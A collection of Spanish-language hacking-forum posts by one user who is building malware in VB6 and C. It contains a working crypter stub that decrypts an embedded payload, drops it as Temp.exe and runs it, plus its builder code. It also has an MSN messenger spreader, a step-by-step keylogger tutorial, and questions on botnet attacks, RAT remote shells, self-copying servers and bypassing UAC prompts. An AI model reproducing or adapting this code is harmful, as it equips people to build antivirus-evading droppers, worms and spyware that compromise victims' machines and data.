Saludos! :huh:
#23
Bueno antes de ayer me he puesto las pilas con el Cain&Abel, buenisima herramienta, pero tengo un problema, en el portatil mio cuando hago un escaner con todas las opciones seleccionadas en los hosts conectados a la red, no detecta ninguno.. y hay dos sobremesas mas conectados al mismo router, mi portatil se conecta al router por Wifi. En cambio en mi otro sobremesa hago el escaner y detecta todos los pcs que hay en la red, y puedo sniffear los paquetes perfectamente.

¿Que ocurre que mi portatil no detecta ningún otro host?

Aqui dejo la configuración que tengo :



Ayuda  :-\
#24
Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")

#include <windows.h>

LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);

void main()
{
HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
MessageBoxA(0,"1","",0);

LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
MessageBoxA(0,"2","",0);

HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
LPSTR xPass=&Buff[Size-11];

Buff=RC4(Buff,xPass,Size-11,10);
MessageBoxA(0,"4","",0);
GetTempPath(MAX_PATH,tFile);
lstrcatA(tFile,"\\Temp.exe");

HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile,Buff,Size,0,0);
CloseHandle(hFile);

ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
}

LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
{
int i, j = 0, s[256];
DWORD dw;
BYTE tmp;
LPBYTE Buf = (LPBYTE)szBuf;
LPBYTE Key = (LPBYTE)szKey;
for(i = 0; i < 256; i++)
{
s[i] = i;
}
for(i = 0; i < 256; i++)
{
j = (j + s[i] + Key[i % dwKeyLen]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for(dw = 0; dw < dwBufLen; dw++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
Buf[dw] ^= s[(s[i] + s[j]) % 256];
}
return (LPSTR)Buf;
}


Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos! ;D

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\
#25
Bueno estoy guiandome de un Tips de Leandro y de la MSDN, pero aun sigo teniendo problemas para comprimir los datos de una variable.

Código (vb) [Seleccionar]
Public Declare Function RtlGetCompressionWorkSpaceSize Lib "NTDLL" (ByVal flags As Integer, WorkSpaceSize As Long, UNKNOWN_PARAMETER As Long) As Long
Public Declare Function RtlCompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, ByVal UNKNOWN_PARAMETER As Long, OutputSize As Long, ByVal WorkSpace As Long) As Long
Public Declare Function RtlDecompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, OutputSize As Long) As Long


Public Function Compress(Data As String) As String
Dim lenCompress    As Long
Dim xWorkSpace     As Long
 
  RtlGetCompressionWorkSpaceSize 2, xWorkSpace, 0
  RtlCompressBuffer 2, VarPtr(Data), LenB(Data), VarPtr(Compress), LenB(Compress), 4096, lenCompress, xWorkSpace
  Debug.Print Len(Compress)
End Function


Que puede ser? x)

PD : Me crashea..

#26
Bueno me está pasando algo raro con estas dos API's.. el problema de WriteFile es que me escribe un archivo de 100MB cuando el contenido de la variable solo es de 8kb, y el problema de ReadFile es que no me mete los datos a la variable.

Os dejo el source :

API's :

Código (vb) [Seleccionar]
Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long



Código (vb) [Seleccionar]
Public Function cFile(Path As String)
xRes = LoadResData(101, "STUB")
sRes = StrConv(xRes, vbUnicode)

frmMain.lPorcent.Caption = "20%"

hFile = CreateFile(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0)
WriteFile hFile, sRes, Len(sRes), 0, 0
CloseHandle hFile

frmMain.lPorcent.Caption = "30%"

hFile = CreateFile(frmMain.txtFile.Text, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0)
sFile = GetFileSize(hFile, 0)
ReadFile hFile, Buff, sFile, 0, 0
CloseHandle hFile

frmMain.lPorcent.Caption = "40%"

Buff = RC4(Buff, frmMain.txtPass.Text) & frmMain.txtPass.Text

frmMain.lPorcent.Caption = "90%"

hRes = BeginUpdateResource(Path, vbTrue)
UpdateResource hRes, "DATA", RT_RCDATA, 0, Buff, Len(Buff)
EndUpdateResource hRes, vbFalse

frmMain.lPorcent.Caption = "100% - Encrypted!"
End Function


Estoy haciendo un crypter en VB6/C y decidí hacerlo todo con API's.

Saludos! :huh:


#27
Bueno estoy loquisimo con esto..   :rolleyes: ya no se que mas probar y lo que estoy probando ahora me he quedado a medias.
Bajé el VistaUACMaker y agrega el manifest para ejecutar el programa como administrador, el problema es que todavia sigue saliendo el mensajito :



Estoy intentando agregarle una firma digital pero no encuentro el programa de la SDK llamado (SignTool), creo que si le agrego la firma no lo reconocerá como desconocido. Quería preguntar... no hay alguna otra manera por VB?..

Saludos!  :huh:
#28
Bueno quiero que cuando el raton haga click capture una imagen de su alrededor de 50x50, estoy intentando por ahora que al hacer click por lo menos capture y despues de varios intentos he llegado a la conclusion de que tengo que hacer hooks al raton, me puse a buscar ejemplos mas o menos del hook al raton pero no me sirvieron, la idea es por ahora que al hacer click capture la imagen de la ventana activa y ya luego el otro problema seria mostrando el puntero en la captura de 50x50

Esta sería la función que capturaría la ventana activa :

Código (vb) [Seleccionar]

Public Function cWindow()
 Num = Num + 1
 keybd_event 44, 0, 0&, 0&
 DoEvents
 If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), sIM & Num & ".bmp"
End Function


Y lo que intento hacer es ahora con las siguientes declaraciones, es saber cuando se hizo click y llamar a la otra función :
Código (vb) [Seleccionar]

Public Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Public Const WH_MOUSE As Long = 7



Saludos! :huh:
#29


A que se debe esa lupa?, no instale nada, salió sola..
No tiene menu popup, no encuentro su proceso ni nada de nada

:S
#30
Bueno estoy probando a hacer un constructor con ASM, la mejor manera que pensé fue agreganndole un recurso desde el constructor al stub con los datos dentro, ahora el dilema es como abrir el recurso que agregó el constructor?

Saludos! :huh:
#31
Bueno este proyecto lo tenía parado, un dia se me ocurrió la idea de hacer un programa que cree un modulo para proyectos de VB6 (Visual Basic 6) con la función de cifrar y descifrar datos, lo que hice fue un programa con la opción de hacer un algoritmo personal, sustituyendo carácteres por otros.



Forma de uso :
Para llamar a la función de cifrar 'cifrado = Encrypt(Datos, Contraseña)'
Para llamar a la función de descifrar 'descifrado = Decrypt(Datos, Contraseña)'

Descargar Personal Algorythm (Binario)
Descargar Personal Algorythm (Source)

Contraseña de los ficheros : SCB Lab's

Saludos!  :D
#32
Programación Visual Basic / Simple 'WLM' Spreader
18 Noviembre 2009, 17:07 PM
Bueno ShadeHack me pidió un propagador de msn e hice este muy sencillo =)
Se puede poner otra verificación del caracter '<'

Requerido 1 timer.

Código (vb) [Seleccionar]

Private Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "User32" () As Long
Dim lRet As Long, nWindow As String, Capt As String, Dat() As String

Private Sub TM_Timer()
lRet = GetForegroundWindow() ' Obtenemos el handle de la ventana activa
Capt = Space$(1024) ' Creamos un buffer para el titulo de la ventana
nWindow = GetWindowText(lRet, Capt, Len(Capt)) ' Obtenemos la cantidad de carácteres
Capt = Left$(Capt, nWindow) ' Obtenemos el nombre de la ventana
 
If Capt <> "" Then ' Verificamos que en la variable Capt haya datos
 Dat() = Split(Capt, "@") ' Hacemos un split para hacer una 1 verificación
 If UBound(Dat) > 0 Then ' Verificamos si dentro de la matriz Dat() hay datos
  If InStr(1, Dat(1), ">") Then SendKeys ("Hola soy tu menstruación!" & "{ENTER}")  ' Hacemos una 2 verificación para saber si es una ventana de Windows Live Messenger y mandamos el mensaje
End If
End Sub



Descargar proyecto WLM Spread

Saludos! ;D
#33
Programación Visual Basic / Sniffer en VB?
1 Septiembre 2009, 10:24 AM
Hay algún source de algún buen sniffer? que capte todos los paquetes TCP/UDP?, vi estos dos pero no son muy buenos :

http://planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=25486&lngWId=1
http://planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=11706&lngWId=1

Estoy interesado en ver como trabajan.

Saludos! :-\
#34
Bueno ayer comencé a buscar archivos de firefox y di con 'sessionstore.bak', entondes terminé el mini modulo pero le hacia falta una limpieza, como no sabia como hacer esa limpieza le pedí a BlackZeroX que me ayduase a mejorarlo, a contianuación dejo mi codigo de fuente original y luego el codigo mejorado por BlackZeroX

Imagen del ejemplo mio :



Descargar codigo de SharkI

Y aqui os dejo el codigo en sucio de BlackZeroX :

Código (vb) [Seleccionar]
   
Attribute VB_Name = "Module1"
Dim d()
Sub main()
    '---------------------------------------------------------------------------------------------------º
    'Trabajar con punteros al archivo -> Garantisa el devido uso de la memoria de la plicaciòn Actual!¡.º
    'Este es un Codigo Sucio creado por: BlackZeroX (blackzerox2006@hotmail.com)------------------------º

Dim ByteI() As Long, ByteF As Long, SData As String, Archivo As String, GetD As String
   
   Archivo = "c:\sessionstore.txt"
   If Dir(Archivo, vbArchive) = "" Then GoTo Fin:
   
   Open Archivo For Binary As 1
       d = Array(Chr(34) & "url" & Chr(34) & ":", _
                 Chr(34) & "title" & Chr(34) & ":", _
                 Chr(34) & "ID" & Chr(34) & ":")
       ReDim ByteI(UBound(d))
               
       GetD = Space(255)
       Get 1, , GetD
       If Len(GetD) = 0 Then GoTo Fin:
       '----------------------------------------------------------------
       'Esto se deberia convertir en funcion para poder cargar los demas
       '----------------------------------------------------------------
           For i = 0 To 2
               DoEvents
               ByteI(i) = InStr(GetD, d(i))
               If ByteI(i) = 0 Then Fin = True: GoTo Fin ' Termina Todo
           Next i
       '----------------------------------------------------------------
       'Fin de supuesta funcion
       '----------------------------------------------------------------
       
       'URL
       Seek 1, ByteI(0)
       ByteF = ByteI(1) - ByteI(0)
       SData = Space(ByteF)
       Get 1, , SData
       SData = Limpiar(SData)
       MsgBox SData
       
       'Title
       Seek 1, ByteI(1)
       ByteF = ByteI(2) - ByteI(1)
       SData = Space(ByteF)
       Get 1, , SData
       SData = Limpiar(SData)
       MsgBox SData
       'ID
       Seek 1, ByteI(2)
       ' aqui se deberia pasar la supuesta funciòn para delimitar el rango a cargar con el ByteI(0) SIGUIENTE
       ByteF = 6
       SData = Space(ByteF)
       Get 1, , SData
       SData = Limpiar(SData)
       MsgBox Val(SData)
Fin:
   Close 1
End Sub


Function Limpiar(StrData As String) As String
   StrData = Replace(StrData, ",", "")
   StrData = Replace(StrData, d(0), "")
   StrData = Replace(StrData, d(1), "")
   StrData = Replace(StrData, d(2), "")
   StrData = Replace(StrData, Chr(34), "")
   Limpiar = StrData
End Function


Saludos!  :P
#35
Creando un Keylogger Basico en Visual Basic 6.0 by SharkI



- ¿Que es un keylogger y como trabaja?
- Conocimientos recomendados
- Comenzando con el manual


¿Que es un keylogger y como trabaja? :
Un keylogger (derivado del inglés: Key (Tecla) y Logger (Registrador); registrador de teclas) es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

Conocimientos recomendados :
Para poder desarollar lo que se mostrará en el manual se requiere conocimientos basicos de Visual Basic 6.0 y también saber que es un caracter ASCII http://es.wikipedia.org/wiki/ASCII

Comenzando con el manual :
Para comenzar voy a poner una tabla sobre las constantes basicas que ofrece Visual Basic para capturar las teclas.



Comencemos, primero abrimos un nuevo proyecto en visual basic seleccionando 'EXE estándar' :



Añadiremos '1 TextBox, 1 Timer y 2 CommandButtons', quedando algo asi :



Explicaré para que es cada control :
- TextBox = Aqui se mostrarán las teclas capturadas
- Timer(TM) = Se encargará de activar/desactivar el keylogger, cuando el keylogger está activo el timer estará verificando cada 10 milisegundos que tecla se ha pulsado, asi que hay que poner el intervalo en 10 milisegundos y en 'Enabled' = False
- 2 CommandButtons = Uno se usará para activar el keylogger y otro para desactivarlo.

Vamos a empezar con el codigo de fuente, el keylogger necesitará usar la api llamada 'GetAsyncKeyState' asi que la añadimos a la parte 'General' del codigo de fuente y nos dirigimos al timer, a partir de ahora iré poniendo comentarios en el mismo codigo de fuente :


Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Private Sub TM_Timer()
Dim i as integer, x as integer   '# Declaramos i y x como enteros
For i =  8 to 222  '# El bucle recorrerá desde el valor 8 hasta el 222

 x = GetAsyncKeyState(i)  '# Obtendrá la tecla que se situa en el entero i
 
Select case i  '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
                    '# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
                    '# ir fijando en la anterior lista que he puesto al principio

If x = -32767 Then  '# Verificamos si se ha pulsado alguna tecla
  Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "   '#  Recibimos la tecla y la interpretamos
  Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
  Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
  Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
  Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
  Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
  Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
  Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
  Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
  Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
  Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
  Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
  Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
  Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
  Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
  Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
  Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
  Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
  Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
  Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
  Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
  Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
  Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
  Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
  Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
  Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
  Case vbKey0: Text1.Text = Text1.Text & "0"
  Case vbKey1: Text1.Text = Text1.Text & "1"
  Case vbKey2: Text1.Text = Text1.Text & "2"
  Case vbKey3: Text1.Text = Text1.Text & "3"
  Case vbKey4: Text1.Text = Text1.Text & "4"
  Case vbKey5: Text1.Text = Text1.Text & "5"
  Case vbKey6: Text1.Text = Text1.Text & "6"
  Case vbKey7: Text1.Text = Text1.Text & "7"
  Case vbKey8: Text1.Text = Text1.Text & "8"
  Case vbKey9: Text1.Text = Text1.Text & "9"
  Case vbKeyA: Text1.Text = Text1.Text & "A"
  Case vbKeyB: Text1.Text = Text1.Text & "B"
  Case vbKeyC: Text1.Text = Text1.Text & "C"
  Case vbKeyD: Text1.Text = Text1.Text & "D"
  Case vbKeyE: Text1.Text = Text1.Text & "E"
  Case vbKeyF: Text1.Text = Text1.Text & "F"
  Case vbKeyG: Text1.Text = Text1.Text & "G"
  Case vbKeyH: Text1.Text = Text1.Text & "H"
  Case vbKeyI: Text1.Text = Text1.Text & "I"
  Case vbKeyJ: Text1.Text = Text1.Text & "J"
  Case vbKeyK: Text1.Text = Text1.Text & "K"
  Case vbKeyL: Text1.Text = Text1.Text & "L"
  Case vbKeyM: Text1.Text = Text1.Text & "M"
  Case vbKeyN: Text1.Text = Text1.Text & "N"
  Case vbKeyO: Text1.Text = Text1.Text & "O"
  Case vbKeyP: Text1.Text = Text1.Text & "P"
  Case vbKeyQ: Text1.Text = Text1.Text & "Q"
  Case vbKeyR: Text1.Text = Text1.Text & "R"
  Case vbKeyS: Text1.Text = Text1.Text & "S"
  Case vbKeyT: Text1.Text = Text1.Text & "T"
  Case vbKeyU: Text1.Text = Text1.Text & "U"
  Case vbKeyV: Text1.Text = Text1.Text & "V"
  Case vbKeyW: Text1.Text = Text1.Text & "W"
  Case vbKeyX: Text1.Text = Text1.Text & "X"
  Case vbKeyY: Text1.Text = Text1.Text & "Y"
  Case vbKeyZ: Text1.Text = Text1.Text & "Z"
  Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
  Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
  Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
  Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
  Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
  Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
  Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
  Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
  Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
  Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
  Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
  Case vbKeyAdd: Text1.Text = Text1.Text & "+"
  Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
  Case vbKeySubtract: Text1.Text = Text1.Text & "-"
  Case vbKeyDecimal: Text1.Text = Text1.Text & "."
  Case vbKeyDivide: Text1.Text = Text1.Text & "/"
  Case vbKeyF1: Text1.Text = Text1.Text & "F1"
  Case vbKeyF2: Text1.Text = Text1.Text & "F2"
  Case vbKeyF3: Text1.Text = Text1.Text & "F3"
  Case vbKeyF4: Text1.Text = Text1.Text & "F4"
  Case vbKeyF5: Text1.Text = Text1.Text & "F5"
  Case vbKeyF6: Text1.Text = Text1.Text & "F6"
  Case vbKeyF7: Text1.Text = Text1.Text & "F7"
  Case vbKeyF8: Text1.Text = Text1.Text & "F8"
  Case vbKeyF9: Text1.Text = Text1.Text & "F9"
  Case vbKeyF10: Text1.Text = Text1.Text & "F10"
  Case vbKeyF11: Text1.Text = Text1.Text & "F11"
  Case vbKeyF12: Text1.Text = Text1.Text & "F12"
  Case vbKeyF13: Text1.Text = Text1.Text & "F13"
  Case vbKeyF14: Text1.Text = Text1.Text & "F14"
  Case vbKeyF15: Text1.Text = Text1.Text & "F15"
  Case vbKeyF16: Text1.Text = Text1.Text & "F16"
  Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
End Select
End if

End Sub



Vale ya tenemos las teclas basicas que nos facilito las constantes de visual basic, pero que pasa con todas las que faltan?, para las siguientes usaremos los carácteres ASCII ya que para esas teclas no hay constantes facilitadas. Para ello vamos a hacer un pequeño programa para poder saber que valor ASCII tiene cada una de las letras, vayamos a un nuevo proyecto 'EXE estándar' y añadimos '1 TextBox y 1 CommandButton', quedando algo así :



Ahora con la función 'Asc' podemos obtener el valor Ascii, miremos el codigo de fuente del 'CommandButton' :


Private Sub Command1_Click()
Text1.Text = Asc(Text1.Text)
End Sub


Bueno ahora el carácter que se escriba en el 'TextBox' se transformará en caracter Ascii solo pulsando el 'CommandButton', ahora solo nos queda agregar los carácteres que faltan al proyecto del keylogger de la siguiente manera :

Dentro del 'Select Case', como un 'Case' más :

Case 112: Text1.Text = Text1.Text & " [F1] "  '#  112 es el valor ASCII de la tecla F1


Bueno aqui acabo el manual, espero que les sea de gran ayuda y que aprendan mucho, si quieren compartir este manual no olviden poner el respectivo autor.

Saludos!  ;)
#36
Bueno guiandome del videotuto de polifemo y recordando el post de hackdark y como no del blog de Thor, aqui he hecho una pequeña herramienta que une los archivos y crea el acceso directo, lo unico que teneis que hacer es modificar el destino del acceso directo.



Bueno lo unico que teneis que hacer despues de crear el archivo y el acceso directo es esto :



[size=150]Descargar[/size]

Saludos!  :drinking:
#37
Bueno estoy realizando una botnet, y quisiera saber como atacaria desde Visual Basic me dijieron enviando una peticion HTTP desde winsock, lei algunos textos y eso no me entere mucho, alguien me puede dejar algun ejemplo mas o menos de como atacaria una Botnet?

Saludos! :huh:
#38
Bueno quisiera saber como poner un popup sin que salga el borde del form.
Por ejemplo hagan lo siguiente :
1. Creen un nuevo proyecto exe
2. Quitenle los bordes al form
3. Y si le agregan un PopUp menu se pone SI o SI un borde en la ventana.

Alguna sugerencia o truco ?  :huh:
#39
Programación Visual Basic / Ayuda con Shell Remota
2 Diciembre 2008, 13:46 PM
Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :

Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.

Mi error aqui :

Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..

Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"

Lo ejecuta pero no se guarda en el texto..

Porque puede ser?

Saludos!


#40
Bueno tengo un problema con el "SharkI RAT"  :P y es que si le pongo en el servidor una no-ip no llega conexion.. pero si pongo 127.0.0.1 localmente si se conecta. Pude pensar que fuese de el MSWINSOCK.OCX pero saltaria un error de que falta la libreria.. No se que puede ser.. si alguien me quiere ayudar con algun error del code que me agregue a mi msn sharki@sharki.es ya no se que hacer..

Se les agradeceria mucho!

Saludos! ;D
#41
Bueno no me acuerdo el code como se hacia si alguien lo puede postear? porque en el foro n oencontre nada..

Saaludos!
#42
Bueno esto ya lo pedi antes en el Fake MesSage pero no entendi muy bien a SetH ahora por ejempl lo que hice fue crear el servidor a .exe luego lo pase a RES desde el VB y agregue el REs al Builder. Al darle a Crear server puse esto :

Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
    Put #1, , File
Close #1

En el Servidor de antes que lo que quiero cambiar seria esto :

WB.Navigate (RutaWeb & "?value=" & Text1.Text)

Modificar el RutaWeb por un txt del builder..
Haber si me explique

Saludos y gracias de ante mano!
#43
Bueno necesito saber como enviar por fTP y E-Mail buske en google varios pero son medios complicados para mdoificar tambn utilize el ftp.dll pero es necesario la dll despues asi que si saben algun code sencillo de envio de email y FTP se los agradeceria

Saludos!
#44
Bueno quiero que al ejecutar el server que estoy haciendo se borre y se copie en alguna carPeta no encontre code por ningun lado, si alguien me puede ayudar..

Saludos!
#45
Bueno primero hola a todos! estoy haciendo un "Fake Message" que lo que hara es crear un exe que al abrirlo salga el mensaje modificado en el builder.Ahora mi problema.. no se como hacer para que modfique el mensaje del RES por el qu se escribio en el builder... Un amigo "Psymera" me ayudo pero tengo un nivel bajiTo de VB y no se todavia codigo binariO.. lo que hace al darle al boton de crear el Mensaje es crear el Res en exe y al ejecutarlo sale el mensaje que escribi en el RES ese.. pues quiero modificar ese mensaje por el del builder..

Bueno espero que me ayuden!

Saludos!